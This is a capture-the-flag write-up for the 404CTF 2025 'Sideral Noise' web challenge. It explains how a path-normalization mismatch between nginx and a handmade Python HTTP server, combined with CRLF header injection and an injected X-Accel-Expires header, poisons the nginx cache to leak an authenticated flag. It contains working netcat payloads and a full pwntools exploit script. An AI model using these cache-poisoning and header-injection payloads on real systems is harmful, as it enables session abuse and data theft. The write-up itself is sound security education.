Overview

Sideral Noise is a web challenge by _hdrien created for 404CTF 2025 (which I won btw 🎉). It was released during the second wave with a “medium” difficulty tag, but was only solved by 8 players after a week and a half.

Sideral Noise challenge description

The web service accessible with a browser only contains a button which generates random noise.

Sideral Noise web service

It’s a bit more complicated than that though, there are actually three services running in three distinct Docker containers.

  • frontend runs a simple Flask web server on port 5000. It serves the frontend web interface from the screenshot above.
  • satellite is a homemade HTTP web server running on port 8000. It is used to generate the random noise for the frontend application and also it holds the flag.
  • nginx is running as a proxy on port 80 and forwards HTTP requests to both frontend and satellite. It is the only container exposed to the Internet and therefore the only one we can directly interact with.
services:
  frontend:
    build:
      context: ./frontend
      dockerfile: Dockerfile
    environment:
      - CHALLENGE_HOST=127.0.0.1
      - SATELLITE_TOKEN=fake_token
    restart: unless-stopped
    network_mode: host

  satellite:
    build:
      context: ./satellite
      dockerfile: Dockerfile
    environment:
      - SATELLITE_TOKEN=fake_token
    restart: unless-stopped
    network_mode: host

  nginx:
    build:
      context: ./nginx
    container_name: nginx
    environment:
      - SATELLITE_HOST=127.0.0.1
      - SATELLITE_PORT=8000
      - FRONTEND_HOST=127.0.0.1
      - FRONTEND_PORT=5000
    depends_on:
      - frontend
      - satellite
    network_mode: host

Frontend service

The frontend service is a simple Flask application.

######### app.py #########
from flask import Flask, render_template, jsonify, request
from nanoid import generate
from os import environ
from bot import fetch_noise
from re import match
from waitress import serve

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/noise', methods=['POST'])
def noise():
    content = request.json
    noise_id = content['noise_id'] if match(r'^[A-Za-z0-9_-]{21}$', content.get('noise_id','')) else generate()
    noise = fetch_noise(noise_id)
    return jsonify({'noise': noise})

if __name__ == '__main__':
    serve(app, host="0.0.0.0", port=environ.get('PORT', 5000))


######### bot.py #########
import requests
from os import environ

CHALLENGE_HOST = environ["CHALLENGE_HOST"] # in production, CHALLENGE_HOST="sideralnoise.404ctf.fr"
SATELLITE_TOKEN = environ["SATELLITE_TOKEN"]

def fetch_noise(noise_id):
    # fetch noise from the satellite
    s = requests.Session()
    s.cookies.set('token', SATELLITE_TOKEN, domain=CHALLENGE_HOST)
    response = s.get(f'http://{CHALLENGE_HOST}/satellite/noise/{noise_id}')
    return response.text

Clicking on the “Fetch noise” button triggers a POST request to /noise. On the server side, this executes the fetch_noise(noise_id) function and triggers another HTTP request to /satellite/noise/{noise_id} using a secret token cookie. Note that this request is made on port 80 so it goes through the nginx proxy too.

There is no obvious vulnerability here. We can specify a custom noise_id value but it must match the regular expression ^[A-Za-z0-9_-]{21}$ or it will simply be ignored. There is no way to directly obtain the secret token since the HTTP request to /satellite/noise/{noise_id} runs on the server side.

nginx proxy

The nginx service proxies all HTTP requests to one of the two web servers.

  • Requests with an URI matching the regular expression ^/satellite/noise/[A-Za-z0-9_-]{21}$ are forwarded to the satellite server. HTTP responses with a 200 OK status code are cached by nginx (this will be important).
  • Requests with an URI starting with /satellite/ are also forwarded to the satellite server but never cached.
  • All other requests are forwarded to the frontend server.
proxy_cache_path /var/cache/nginx/my_cache levels=1:2 keys_zone=my_cache:10m max_size=1g inactive=60m use_temp_path=off;

server {
    listen 80;
    server_name _;

    location ~ "^/satellite/noise/[A-Za-z0-9_-]{21}$" {
        proxy_cache my_cache;
        proxy_cache_key $scheme$proxy_host$uri;
        # cache noise for 5 minutes for traceability
        proxy_cache_valid 200 5m;

        proxy_pass http://${SATELLITE_HOST}:${SATELLITE_PORT};

        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        proxy_http_version 1.1;
    }

    location /satellite/ {
        proxy_pass http://${SATELLITE_HOST}:${SATELLITE_PORT};

        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        proxy_http_version 1.1;
    }

    location / {
        proxy_pass http://${FRONTEND_HOST}:${FRONTEND_PORT};

        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        proxy_http_version 1.1;
    }
}

Again, there is no obvious misconfiguration here. We can see the cache in effect by requesting noise with the same noise_id twice in a row, and verify that we get the same value twice.

$ curl http://localhost:80/noise --json '{"noise_id": "12345678901234567890A"}'
{"noise":"9289c71000287184c9310d25a0c4a25457d1729020351255c6f02a55fbb126738ed8a30ef637566bbcbc636bbfa429b29aa2c700d200d483618a254310ce60b577f4def1145afb7889e3033614b597ccac3cb975c9bb60adda5e8ff347880413526274c307f4f4f88561abf19c0d6f8ae4d5f16df3a3d4d997fc76b34fab6c4d1da0a1462f0b01ec267757a213eeec4becb3dc65d6d69341ebbbca8a2d5b7e074a092c8e2fd815dd91301d1ba3324b6faaad77a677fb23681743a264b1e00d25e50ca1cb3c07e78e131cc6d40175c648aca6e7576fa34ff86a0972716887433cbc8e01f122949fcaa9489c7c54730d5da8ef892baac1d3fe00a659fb4644341b"}

$ curl http://localhost:80/noise --json '{"noise_id": "12345678901234567890A"}'
{"noise":"9289c71000287184c9310d25a0c4a25457d1729020351255c6f02a55fbb126738ed8a30ef637566bbcbc636bbfa429b29aa2c700d200d483618a254310ce60b577f4def1145afb7889e3033614b597ccac3cb975c9bb60adda5e8ff347880413526274c307f4f4f88561abf19c0d6f8ae4d5f16df3a3d4d997fc76b34fab6c4d1da0a1462f0b01ec267757a213eeec4becb3dc65d6d69341ebbbca8a2d5b7e074a092c8e2fd815dd91301d1ba3324b6faaad77a677fb23681743a264b1e00d25e50ca1cb3c07e78e131cc6d40175c648aca6e7576fa34ff86a0972716887433cbc8e01f122949fcaa9489c7c54730d5da8ef892baac1d3fe00a659fb4644341b"}

When playing with the nginx cache mechanism locally, it can also be helpful to add the following directives to the nginx configuration file.

add_header X-Cache-Value $scheme$proxy_host$uri always; # Add X-Cache-Value header with value proxy_cache_key
add_header X-Cache $upstream_cache_status always; # Add X-Cache header to the response, specifying if we hit the cache or not

Now we can see when we hit the cache or not, and also what is the associate cache key.

$ curl http://localhost:80/satellite/noise/12345678901234567890D -s -v 2>&1 | grep Cache
< X-Cache: MISS
< X-Cache-Value: http127.0.0.1:8000/satellite/noise/12345678901234567890D

$ curl http://localhost:80/satellite/noise/12345678901234567890A -s -v 2>&1 | grep Cache
< X-Cache: HIT
< X-Cache-Value: http127.0.0.1:8000/satellite/noise/12345678901234567890A

Satellite service

Now the satellite web server is very unusual. Instead of relying on robust libraries, the implementation of the HTTP protocol is completely handmade and far too basic to properly implement all the specifications.

from server import HTTPServer, Route
from route_handlers import index, noise, not_found
from os import environ

if __name__ == "__main__":
    server = HTTPServer('0.0.0.0', environ.get('PORT', 8000), not_found)
    server.routes.append(Route(r'^/satellite/?$', index))
    server.routes.append(Route(r'^/satellite/noise/[A-Za-z0-9_-]{21}$', noise))
    server.start()

The HTTPServer class handles incoming TCP connections on port 8000 using threading. The handle_client method will only accept GET requests. It reads data until \r\n\r\n is received, parses the request with Request, find a matching Route and sends the data built from a Response.

class HTTPServer:
    def __init__(self, host, port, fallback_route_handler):
        self.host = host
        self.port = port
        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.routes = []
        self.fallback_route_handler = fallback_route_handler

    def start(self):
        self.server_socket.bind((self.host, self.port))
        self.server_socket.listen(5)
        print(f"Server running on http://{self.host}:{self.port}/")

        try:
            while True:
                client_socket, addr = self.server_socket.accept()
                threading.Thread(target=self.handle_client, args=(client_socket, addr)).start()
        finally:
            self.server_socket.close()

    def handle_client(self, client_socket, addr):
        try:
            buffer = ''
            while True:
                chunk = client_socket.recv(1024).decode('utf-8')
                if not chunk:
                    break
                buffer += chunk
                if '\r\n\r\n' in buffer:
                    break
            request = Request(buffer)

            if request.method != 'GET':
                response = Response(405, 'Method Not Allowed')
            else:
                route = next((r for r in self.routes if r.match(request.path)), None)
                if route:
                    response = route.handler(request)
                else:
                    response = self.fallback_route_handler(request)

            response_data = response.build()
            client_socket.sendall(response_data.encode('utf-8'))
        except Exception as e:
            error_response = Response(500, f"<h1>500 Internal Server Error</h1><p>{e}</p>")
            client_socket.sendall(error_response.build().encode('utf-8'))
        finally:
            client_socket.close()

A very important detail here is that the TCP connection is closed immediately after the server responds to an HTTP request. It think this makes it impossible to execute attacks such as HTTP Response Splitting because a new socket will be used for every incoming HTTP request.

The implementation of HTTP request parsing is very lax. We can probably find many issues in that code but it’s best not to spend too much time digging for issues that cannot be exploited. However, it is crucial to note how self.path is parsed. For example, let’s see how GET /aaa/../bbb/?ccc/ddd HTTP/1.1 gets interpreted:

  • The first line of the request is split into a the method GET and request target /aaa/.../bbb/?ccc/ddd. The request target is also URL-decoded.
  • The path is everything before the first ?, in that case /aaa/../bbb/. Notice that the path is not normalized đź‘€.
from urllib.parse import unquote, parse_qs

class Request:
    def __init__(self, raw_data):
        self.method = None
        self.path = None
        self.query_string = None
        self.headers = {}
        self.cookies = {}
        self.parse(raw_data)

    def parse(self, raw_data):
        try:
            lines = raw_data.split('\r\n')
            request_line = lines[0].split()
            self.method, request_target = request_line[0], unquote(request_line[1])
            self.path = request_target.split('?')[0]
            self.query_string = parse_qs(request_target.split('?')[1]) if '?' in request_target else {}

            for header_line in lines[1:]:
                if ': ' in header_line:
                    key, value = header_line.split(': ', 1)
                    self.headers[key.lower()] = value

            if 'cookie' in self.headers:
                self.cookies = (dict(i.split('=', 1) for i in self.headers['cookie'].split('; ')))

        except Exception as e:
            print("Failed to parse request:", e)

Routing is regex-based. Each route gets assigned a regex and there is an additional not_found route if the incoming request URI does not match any regular expression.

class Route:
    def __init__(self, path_regex, handler):
        self.path_regex = path_regex
        self.handler = handler

    def match(self, path):
        match = re.match(self.path_regex, path)
        return True if match else False

Routes must return a Response object that contains a status code, a body and a set of headers. The build method transforms the object into an HTTP response string, formatted as expected.

Note that there is zero sanitizing here. The Response object expects that any data in the body and headers is correctly sanitized beforehand.

class Response:
    def __init__(self, status_code=200, body='', content_type='text/html'):
        self.status_code = status_code
        self.body = body
        self.headers = {
            'Content-Type': content_type,
            'Content-Length': str(len(body))
        }

    def set_header(self, key, value):
        self.headers[key] = value

    def build(self):
        reason_phrases = {
            200: 'OK',
            301: 'Moved Permanently',
            404: 'Not Found',
            403: 'Forbidden',
            405: 'Method Not Allowed',
            500: 'Internal Server Error'
        }

        status_line = f"HTTP/1.1 {self.status_code} {reason_phrases.get(self.status_code, '')}"
        headers = '\r\n'.join(f"{k}: {v}" for k, v in self.headers.items())
        return f"{status_line}\r\n{headers}\r\n\r\n{self.body}"

Finally, we can look at the actual routes implemented in the satellite application.

from urllib.parse import quote
from response import Response
from os import urandom, environ

is_authenticated = lambda request: request.cookies.get('token') == environ['SATELLITE_TOKEN']

def index(request):
    body = ""
    if 'error' in request.query_string:
        error_message = request.query_string['error'][0]
        body += f"<b>Error: {error_message}<b>"
    if is_authenticated(request):
        body += "<h1>Welcome, Administrator</h1>"
        body += f"<p>Here is the flag: {environ.get('FLAG', '404CTF{fake_flag}')}</p>"
        return Response(200, body)
    else:
        body += "<h1>Forbidden</h1>"
        body += "<p>You are not authorized to view this page.</p>"
        return Response(403, body)
        
def noise(request):
    if not is_authenticated(request):
        return Response(403, "<h1>Forbidden</h1><p>You are not authorized to view this page.</p>")
    body = urandom(256).hex() # pure sideral noise !!
    response = Response(200, body, content_type='text/plain')
    return response

def not_found(request):
    body = "<h1>Not found</h1>"
    response = Response(301, body)
    response.set_header('Location', '/satellite?error=' + quote('The following resource was not found: ') + request.path)
    return response

The noise route returns random noise if the request contains the secret cookie, otherwise a 403. This is the route used by the frontend server to generate random noise.

That same cookie can also be used to retrieve the flag from the index route. Sadly, we don’t have a way to force the frontend server to make a direct request to that route instead of noise.

The default not_found route returns a 301 response to '/satellite?error=' + quote('The following resource was not found: ') + request.path.

Our way to the flag

We have seen that the frontend service will only make requests to /satellite/noise/{noise_id}. To get the flag from the index route we need to, either:

  • Find a way to steal the cookie from the frontend application (unlikely, there is no bot with a JavaScript capable browser).
  • Find a vulnerability in the frontend to force the bot to request /satellite/ instead of /satellite/noise/{noise_id} (not possible).
  • Poison nginx cache so that /satellite/noise/{noise_id} redirects to /index with a cache hit.

If we manage to poison the cache in such a way, the frontend request will be redirected to /index and we should obtain the flag instead of random noise.

URI parsing differential

There is an important difference between nginx location matching and the satellite webserver regex-based routing. The nginx documentation states the following.

nginx location parsing: The matching is performed against a normalized URI, after decoding the text encoded in the “%XX” form, resolving references to relative path components “.” and “..”, and possible compression of two or more adjacent slashes into a single slash.

On the other hand, the webserver does not normalize relative path components in the URI. For example, the request GET /satellite/noise/xxx/../XAAAAAAAAAAAAAAAAAAAF HTTP/1.1.

  • Will be normalized to /satellite/noise/XAAAAAAAAAAAAAAAAAAAF by nginx and therefore match the first location block location ~ "^/satellite/noise/[A-Za-z0-9_-]{21}$" (and potentially be cached).
  • Will NOT be normalized by the webserver and NOT match the regex ^/satellite/noise/[A-Za-z0-9_-]{21}$. The default not_found route is used and the server returns a 301.

The following example confirms that we can trigger the cache mechanism (see X-Cache: MISS) by requesting /satellite/noise/xxx/../XAAAAAAAAAAAAAAAAAAAF. We get a 301 response to /satellite, meaning that we hit the not_found route. Plus, the cache key is the same as if we requested /satellite/noise/XAAAAAAAAAAAAAAAAAAAF so we are on the right track.

$ (echo -ne 'GET /satellite/noise/xxx/../XAAAAAAAAAAAAAAAAAAAF HTTP/1.1\r\nHost: localhost\r\n\r\n') | nc localhost 80
HTTP/1.1 301 Moved Permanently
Server: nginx/1.27.5
Date: Sun, 01 Jun 2025 17:42:47 GMT
Content-Type: text/html
Content-Length: 18
Connection: keep-alive
Location: /satellite?error=The%20following%20resource%20was%20not%20found%3A%20/satellite/noise/xxx/../XAAAAAAAAAAAAAAAAAAAF
X-Cache: MISS
X-Cache-Value: http127.0.0.1:8000/satellite/noise/XAAAAAAAAAAAAAAAAAAAF

<h1>Not found</h1>

Sadly, nginx is configured to only cache 200 responses (proxy_cache_valid 200 5m;) and we are not able to cache any 301 response with that single behaviour.

HTTP Response header injection

Recall that “The Response object expects that any data in the body and headers is correctly sanitized beforehand.”. Well, there does not seem to be any sanitizing in the route handlers!

  • There is an HTML injection vulnerability in the index route with user-controlled error_message. But this will not help us get the flag, as there is no admin bot that can execute JavaScript.
  • More importantly, there is an HTTP Response header injection vulnerability in the default not_found route with user-controlled request.path.

By adding (URL-encoded) carriage returns and line feeds in the request path, we can inject arbitrary headers in the HTTP response, as well as a custom body.

$ (echo -ne 'GET /satellite/hello%0d%0aMy-Header:%20my-value%0d%0a%0d%0a<h1>my-body!!</h1>/hello HTTP/1.1\r\nHost: localhost\r\n\r\n') | nc localhost 80
HTTP/1.1 301 Moved Permanently
Server: nginx/1.27.5
Date: Sun, 01 Jun 2025 17:28:37 GMT
Content-Type: text/html
Content-Length: 18
Connection: keep-alive
Location: /satellite?error=The%20following%20resource%20was%20not%20found%3A%20/satellite/hello
My-Header: my-value

<h1>my-body!!</h1>

As explained before, the TCP connection is closed immediately after the server responds to an HTTP request and this rules out powerful attacks such as HTTP Response splitting.

nginx cache poisoning

We can combine the two previous vulnerabilities to cache a 301 response to /satellite by injecting cache control specific headers in the satellite webserver response.

One way to force the 301 response to be cached is to use the header X-Accel-Expires (see https://nginx.org/en/docs/http/ngx_http_proxy_module.html).

Parameters of caching can also be set directly in the response header. This has higher priority than setting of caching time using the directive.

The “X-Accel-Expires” header field sets caching time of a response in seconds. The zero value disables caching for a response. If the value starts with the @ prefix, it sets an absolute time in seconds since Epoch, up to which the response may be cached.

The same result can be achieved with other headers such as Cache-Control: max-age=60 or Expires: Wed, 04 Jun 2025 00:00:00 GMT.

Now we use the URI parsing differential and HTTP response header injection at the same time to add a 301 response in nginx cache.

$ (echo -ne 'GET /satellite/noise/x%0d%0aX-Accel-Expires:%2060%0d%0aOther:%20/../GEVOXCKSQHWJUPIAYGMMG HTTP/1.1\r\nHost: localhost\r\n\r\n') | nc localhost 80
HTTP/1.1 301 Moved Permanently
Server: nginx/1.27.5
Date: Sun, 01 Jun 2025 17:55:28 GMT
Content-Type: text/html
Content-Length: 18
Connection: keep-alive
Location: /satellite?error=The%20following%20resource%20was%20not%20found%3A%20/satellite/noise/x
Other: /../GEVOXCKSQHWJUPIAYGMMG
X-Cache: MISS
X-Cache-Value: http127.0.0.1:8000/satellite/noise/GEVOXCKSQHWJUPIAYGMMG

<h1>Not found</h1>

We can confirm that nginx did indeed cache the response by making the same request again. Notice X-Cache: HIT.

$ (echo -ne 'GET /satellite/noise/x%0d%0aX-Accel-Expires:%2060%0d%0aOther:%20/../GEVOXCKSQHWJUPIAYGMMG HTTP/1.1\r\nHost: localhost\r\n\r\n') | nc localhost 80
HTTP/1.1 301 Moved Permanently
Server: nginx/1.27.5
Date: Sun, 01 Jun 2025 17:55:51 GMT
Content-Type: text/html
Content-Length: 18
Connection: keep-alive
Location: /satellite?error=The%20following%20resource%20was%20not%20found%3A%20/satellite/noise/x
Other: /../GEVOXCKSQHWJUPIAYGMMG
X-Cache: HIT
X-Cache-Value: http127.0.0.1:8000/satellite/noise/GEVOXCKSQHWJUPIAYGMMG

<h1>Not found</h1>

Finally we make a request to the frontend so that it fetches the URI with the same noise_id and we get the flag back.

$ curl http://localhost:80/noise --json '{"noise_id": "GEVOXCKSQHWJUPIAYGMMG"}'
{"noise":"<b>Error: The following resource was not found: /satellite/noise/x<b><h1>Welcome, Administrator</h1><p>Here is the flag: 404CTF{fake_flag}</p>"}

Here is the full exploit that you can run locally or against the remote server.

from pwn import *
from urllib.parse import quote
import random
import requests

if args.REMOTE:
    r = remote('sideralnoise.404ctf.fr', 443, ssl=True)
    URL = 'https://sideralnoise.404ctf.fr'
    HOST = 'sideralnoise.404ctf.fr'
else:
    r = remote('localhost', 80)
    URL = 'http://localhost:80'
    HOST = 'localhost'

uuid = ''.join(random.choice(string.ascii_lowercase) for _ in range(21))

injection =  quote('\r\nX-Accel-Expires: 10\r\n') # This will force the 301 response to go in cache
injection += quote('Whatever: ') # The rest of the URI ends up in that header

# We send a request that goes through nginx's "location /satellite/noise/[uuid]"
# But the server will not recognize it as such and will send a 301 to /?error=...
# The response will contain X-Accel-Expires and nginx will therefore cache that response
r.send(b'GET /satellite/noise/x' + injection.encode() + b'/../' + uuid.encode() + b' HTTP/1.1\r\nHost: ' + HOST.encode() + b'\r\n\r\n')
print(r.recv().decode())
r.close()

# Now we ask the bot to go to /satellite/noise/[uuid] and he will get the cached 301
# He will follow to /?error= which contains the flag
res = requests.post(URL + '/noise', json={'noise_id': uuid})
print(res.text)

# {"noise":"<b>Error: The following resource was not found: /satellite/noise/x<b><h1>Welcome, Administrator</h1><p>Here is the flag: 404CTF{e741f98d7f452aba}</p>"}